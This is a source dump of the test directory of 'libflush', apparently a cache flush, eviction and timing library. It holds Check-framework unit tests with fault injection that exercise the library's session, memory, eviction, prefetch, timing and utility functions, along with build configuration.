colorecho,RM, "Clean test files") 117 | $(QUIET)rm -rf ${PROJECT} 118 | $(QUIET)rm -rf ${PROJECT}-debug 119 | $(QUIET)rm -rf ${PROJECT}-gcov 120 | $(QUIET)rm -rf ${BUILDDIR} 121 | $(QUIET)rm -rf ${DEPENDDIR} 122 | 123 | .PHONY: all options clean debug run 124 | 125 | -include $(wildcard ${DEPENDDIR}/*.dep) 126 | -------------------------------------------------------------------------------- /libflush/tests/config.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | CHECK_INC ?= $(shell pkg-config --cflags check) 4 | CHECK_LIB ?= $(shell pkg-config --libs check) 5 | 6 | INCS += ${CHECK_INC} ${FIU_INC} -I ../libflush 7 | LIBS += ${CHECK_LIB} ${FIU_LIB} -lpthread -Wl,--whole-archive -Wl,--no-whole-archive 8 | LDFLAGS += -rdynamic 9 | 10 | LIBFLUSH_RELEASE=../${BUILDDIR_RELEASE}/libflush.a 11 | LIBFLUSH_DEBUG=../${BUILDDIR_DEBUG}/libflush.a 12 | LIBFLUSH_GCOV=../${BUILDDIR_GCOV}/libflush.a 13 | # 14 | # valgrind 15 | VALGRIND = valgrind 16 | VALGRIND_ARGUMENTS = --tool=memcheck --leak-check=yes --leak-resolution=high \ 17 | --show-reachable=yes --log-file=libflush-valgrind.log 18 | VALGRIND_SUPPRESSION_FILE = libflush.suppression 19 | -------------------------------------------------------------------------------- /libflush/tests/eviction.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | libflush_session_t* libflush_session; 10 | 11 | static void setup_session(void) { 12 | fail_unless(libflush_init(&libflush_session, NULL) == true); 13 | fail_unless(libflush_session != NULL); 14 | } 15 | 16 | static void teardown_session(void) { 17 | fail_unless(libflush_terminate(libflush_session) == true); 18 | libflush_session = NULL; 19 | } 20 | 21 | START_TEST(test_eviction_init) { 22 | /* Invalid arguments */ 23 | fail_unless(libflush_eviction_init(NULL, NULL) == false); 24 | } END_TEST 25 | 26 | START_TEST(test_eviction_terminate) { 27 | /* Invalid arguments */ 28 | fail_unless(libflush_eviction_terminate(NULL) == false); 29 | } END_TEST 30 | 31 | #if HAVE_PAGEMAP_ACCESS == 1 32 | START_TEST(test_eviction_evict) { 33 | int x; 34 | libflush_eviction_evict(libflush_session, &x); 35 | } END_TEST 36 | 37 | START_TEST(test_eviction_evict_cached) { 38 | int x; 39 | libflush_eviction_evict(libflush_session, &x); 40 | libflush_eviction_evict(libflush_session, &x); 41 | } END_TEST 42 | 43 | START_TEST(test_eviction_evict_two) { 44 | int x; 45 | int y; 46 | libflush_eviction_evict(libflush_session, &x); 47 | libflush_eviction_evict(libflush_session, &y); 48 | } END_TEST 49 | 50 | START_TEST(test_eviction_evict_exhaust) { 51 | size_t number_of_addresses = ADDRESS_CACHE_SIZE + 1; 52 | int addresses[number_of_addresses]; 53 | for (size_t i = 0; i < number_of_addresses; i++) { 54 | libflush_eviction_evict(libflush_session, &(addresses[i])); 55 | } 56 | } END_TEST 57 | #endif 58 | 59 | Suite* 60 | suite_eviction(void) 61 | { 62 | TCase* tcase = NULL; 63 | Suite* suite = suite_create("eviction"); 64 | 65 | tcase = tcase_create("basic"); 66 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 67 | tcase_add_test(tcase, test_eviction_init); 68 | tcase_add_test(tcase, test_eviction_terminate); 69 | suite_add_tcase(suite, tcase); 70 | 71 | #if HAVE_PAGEMAP_ACCESS == 1 72 | tcase = tcase_create("evict"); 73 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 74 | tcase_add_test(tcase, test_eviction_evict); 75 | tcase_add_test(tcase, test_eviction_evict_cached); 76 | tcase_add_test(tcase, test_eviction_evict_two); 77 | tcase_add_test(tcase, test_eviction_evict_exhaust); 78 | suite_add_tcase(suite, tcase); 79 | #endif 80 | 81 | return suite; 82 | } 83 | -------------------------------------------------------------------------------- /libflush/tests/memory.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include 4 | 5 | #include 6 | 7 | libflush_session_t* libflush_session; 8 | 9 | static void setup_session(void) { 10 | fail_unless(libflush_init(&libflush_session, NULL) == true); 11 | fail_unless(libflush_session != NULL); 12 | } 13 | 14 | static void teardown_session(void) { 15 | fail_unless(libflush_terminate(libflush_session) == true); 16 | libflush_session = NULL; 17 | } 18 | 19 | START_TEST(test_flush) { 20 | int x; 21 | libflush_flush(libflush_session, &x); 22 | } END_TEST 23 | 24 | START_TEST(test_flush_time) { 25 | int x; 26 | libflush_flush_time(libflush_session, &x); 27 | } END_TEST 28 | 29 | #if HAVE_PAGEMAP_ACCESS == 1 30 | START_TEST(test_evict) { 31 | int x; 32 | libflush_evict(libflush_session, &x); 33 | } END_TEST 34 | #endif 35 | 36 | #if HAVE_PAGEMAP_ACCESS == 1 37 | START_TEST(test_evict_time) { 38 | int x; 39 | libflush_evict_time(libflush_session, &x); 40 | } END_TEST 41 | #endif 42 | 43 | START_TEST(test_access_memory) { 44 | int x; 45 | libflush_access_memory(&x); 46 | } END_TEST 47 | 48 | START_TEST(test_reload_address) { 49 | int x; 50 | libflush_reload_address(libflush_session, &x); 51 | } END_TEST 52 | 53 | START_TEST(test_reload_address_and_flush) { 54 | int x; 55 | libflush_reload_address_and_flush(libflush_session, &x); 56 | } END_TEST 57 | 58 | #if HAVE_PAGEMAP_ACCESS == 1 59 | START_TEST(test_reload_address_and_evict) { 60 | int x; 61 | libflush_reload_address_and_evict(libflush_session, &x); 62 | } END_TEST 63 | #endif 64 | 65 | START_TEST(test_memory_barrier) { 66 | libflush_memory_barrier(); 67 | } END_TEST 68 | 69 | Suite* 70 | suite_memory(void) 71 | { 72 | TCase* tcase = NULL; 73 | Suite* suite = suite_create("memory"); 74 | 75 | tcase = tcase_create("flush"); 76 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 77 | tcase_add_test(tcase, test_flush); 78 | tcase_add_test(tcase, test_flush_time); 79 | suite_add_tcase(suite, tcase); 80 | 81 | #if HAVE_PAGEMAP_ACCESS == 1 82 | tcase = tcase_create("evict"); 83 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 84 | tcase_add_test(tcase, test_evict); 85 | tcase_add_test(tcase, test_evict_time); 86 | suite_add_tcase(suite, tcase); 87 | #endif 88 | 89 | tcase = tcase_create("access"); 90 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 91 | tcase_add_test(tcase, test_access_memory); 92 | suite_add_tcase(suite, tcase); 93 | 94 | tcase = tcase_create("reload"); 95 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 96 | tcase_add_test(tcase, test_reload_address); 97 | tcase_add_test(tcase, test_reload_address_and_flush); 98 | #if HAVE_PAGEMAP_ACCESS == 1 99 | tcase_add_test(tcase, test_reload_address_and_evict); 100 | #endif 101 | suite_add_tcase(suite, tcase); 102 | 103 | tcase = tcase_create("barrier"); 104 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 105 | tcase_add_test(tcase, test_memory_barrier); 106 | suite_add_tcase(suite, tcase); 107 | 108 | return suite; 109 | } 110 | -------------------------------------------------------------------------------- /libflush/tests/prefetch.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include 4 | 5 | #include 6 | 7 | libflush_session_t* libflush_session; 8 | 9 | static void setup_session(void) { 10 | fail_unless(libflush_init(&libflush_session, NULL) == true); 11 | fail_unless(libflush_session != NULL); 12 | } 13 | 14 | static void teardown_session(void) { 15 | fail_unless(libflush_terminate(libflush_session) == true); 16 | libflush_session = NULL; 17 | } 18 | 19 | START_TEST(test_prefetch) { 20 | int x; 21 | libflush_prefetch(libflush_session, &x); 22 | } END_TEST 23 | 24 | START_TEST(test_prefetch_time) { 25 | int x; 26 | libflush_prefetch_time(libflush_session, &x); 27 | } END_TEST 28 | 29 | Suite* 30 | suite_prefetch(void) 31 | { 32 | TCase* tcase = NULL; 33 | Suite* suite = suite_create("prefetch"); 34 | 35 | tcase = tcase_create("basic"); 36 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 37 | tcase_add_test(tcase, test_prefetch); 38 | tcase_add_test(tcase, test_prefetch_time); 39 | suite_add_tcase(suite, tcase); 40 | 41 | return suite; 42 | } 43 | -------------------------------------------------------------------------------- /libflush/tests/session.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifdef FIU_ENABLE 4 | #include 5 | #include 6 | #endif 7 | 8 | #include 9 | 10 | #include 11 | 12 | START_TEST(test_session_init) { 13 | libflush_session_t* libflush_session; 14 | 15 | /* Invalid arguments */ 16 | fail_unless(libflush_init(NULL, NULL) == false); 17 | 18 | /* Valid arguments */ 19 | fail_unless(libflush_init(&libflush_session, NULL) == true); 20 | fail_unless(libflush_session != NULL); 21 | fail_unless(libflush_terminate(libflush_session) == true); 22 | 23 | /* Fault injection */ 24 | #ifdef FIU_ENABLE 25 | fiu_enable("libc/mm/calloc", 1, NULL, 0); 26 | fail_unless(libflush_init(&libflush_session, NULL) == false); 27 | fiu_disable("libc/mm/calloc"); 28 | 29 | #if HAVE_PAGEMAP_ACCESS == 1 30 | fiu_enable("posix/io/oc/open", 1, NULL, 0); 31 | fail_unless(libflush_init(&libflush_session, NULL) == false); 32 | fiu_disable("posix/io/oc/open"); 33 | #endif 34 | #endif 35 | } END_TEST 36 | 37 | START_TEST(test_session_terminate) { 38 | libflush_session_t* libflush_session; 39 | 40 | /* Invalid arguments */ 41 | fail_unless(libflush_terminate(NULL) == false); 42 | 43 | /* Valid arguments */ 44 | fail_unless(libflush_init(&libflush_session, NULL) == true); 45 | fail_unless(libflush_session != NULL); 46 | fail_unless(libflush_terminate(libflush_session) == true); 47 | } END_TEST 48 | 49 | Suite* 50 | suite_session(void) 51 | { 52 | TCase* tcase = NULL; 53 | Suite* suite = suite_create("session"); 54 | 55 | tcase = tcase_create("basic"); 56 | tcase_add_test(tcase, test_session_init); 57 | tcase_add_test(tcase, test_session_terminate); 58 | suite_add_tcase(suite, tcase); 59 | 60 | return suite; 61 | } 62 | -------------------------------------------------------------------------------- /libflush/tests/tests.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include 4 | 5 | #ifdef FIU_ENABLE 6 | #include 7 | #endif 8 | 9 | Suite* suite_session(void); 10 | Suite* suite_timing(void); 11 | Suite* suite_memory(void); 12 | Suite* suite_eviction(void); 13 | Suite* suite_prefetch(void); 14 | Suite* suite_utils(void); 15 | 16 | int main(void) 17 | { 18 | /* initialize libfiu */ 19 | #ifdef FIU_ENABLE 20 | fiu_init(0); 21 | #endif 22 | 23 | /* setup test suite */ 24 | SRunner* suite_runner = srunner_create(NULL); 25 | srunner_set_fork_status(suite_runner, CK_NOFORK); 26 | 27 | srunner_add_suite(suite_runner, suite_session()); 28 | srunner_add_suite(suite_runner, suite_timing()); 29 | srunner_add_suite(suite_runner, suite_memory()); 30 | srunner_add_suite(suite_runner, suite_eviction()); 31 | srunner_add_suite(suite_runner, suite_prefetch()); 32 | srunner_add_suite(suite_runner, suite_utils()); 33 | 34 | int number_failed = 0; 35 | srunner_run_all(suite_runner, CK_ENV); 36 | number_failed += srunner_ntests_failed(suite_runner); 37 | srunner_free(suite_runner); 38 | 39 | return (number_failed == 0) ? 0 : 1; 40 | } 41 | -------------------------------------------------------------------------------- /libflush/tests/timing.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #include 4 | 5 | #include 6 | 7 | libflush_session_t* libflush_session; 8 | 9 | static void setup_session(void) { 10 | fail_unless(libflush_init(&libflush_session, NULL) == true); 11 | fail_unless(libflush_session != NULL); 12 | } 13 | 14 | static void teardown_session(void) { 15 | fail_unless(libflush_terminate(libflush_session) == true); 16 | libflush_session = NULL; 17 | } 18 | 19 | START_TEST(test_get_timing) { 20 | libflush_get_timing(libflush_session); 21 | } END_TEST 22 | 23 | START_TEST(test_reset_timing) { 24 | libflush_reset_timing(libflush_session); 25 | } END_TEST 26 | 27 | Suite* 28 | suite_timing(void) 29 | { 30 | TCase* tcase = NULL; 31 | Suite* suite = suite_create("timing"); 32 | 33 | tcase = tcase_create("basic"); 34 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 35 | tcase_add_test(tcase, test_get_timing); 36 | tcase_add_test(tcase, test_reset_timing); 37 | suite_add_tcase(suite, tcase); 38 | 39 | return suite; 40 | } 41 | -------------------------------------------------------------------------------- /libflush/tests/utils.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #ifdef FIU_ENABLE 4 | #include 5 | #include 6 | #endif 7 | 8 | #include 9 | #include 10 | 11 | #include 12 | 13 | libflush_session_t* libflush_session; 14 | 15 | static void setup_session(void) { 16 | fail_unless(libflush_init(&libflush_session, NULL) == true); 17 | fail_unless(libflush_session != NULL); 18 | } 19 | 20 | static void teardown_session(void) { 21 | fail_unless(libflush_terminate(libflush_session) == true); 22 | libflush_session = NULL; 23 | } 24 | 25 | #if HAVE_PAGEMAP_ACCESS == 1 26 | START_TEST(test_get_physical_address) { 27 | int x; 28 | libflush_get_physical_address(libflush_session, (uintptr_t) &x); 29 | } END_TEST 30 | 31 | #ifdef FIU_ENABLE 32 | START_TEST(test_get_physical_address_fault_injection) { 33 | int x; 34 | 35 | libflush_get_physical_address(libflush_session, (uintptr_t) &x); 36 | } END_TEST 37 | #endif 38 | 39 | START_TEST(test_get_pagemap_entry) { 40 | int x; 41 | libflush_get_pagemap_entry(libflush_session, (uintptr_t) &x); 42 | } END_TEST 43 | #endif 44 | 45 | START_TEST(test_bind_to_cpu) { 46 | libflush_bind_to_cpu(0); 47 | } END_TEST 48 | 49 | Suite* 50 | suite_utils(void) 51 | { 52 | TCase* tcase = NULL; 53 | Suite* suite = suite_create("utils"); 54 | 55 | tcase = tcase_create("basic"); 56 | tcase_add_checked_fixture(tcase, setup_session, teardown_session); 57 | #if HAVE_PAGEMAP_ACCESS == 1 58 | tcase_add_test(tcase, test_get_physical_address); 59 | #ifdef FIU_ENABLE 60 | fiu_enable("posix/io/rw/pread", 1, NULL, 0); 61 | tcase_add_test_raise_signal(tcase, test_get_physical_address_fault_injection, SIGABRT); 62 | fiu_disable("posix/io/rw/pread"); 63 | #endif 64 | tcase_add_test(tcase, test_get_pagemap_entry); 65 | #endif 66 | tcase_add_test(tcase, test_bind_to_cpu); 67 | suite_add_tcase(suite, tcase); 68 | 69 | return suite; 70 | } 71 | --------------------------------------------------------------------------------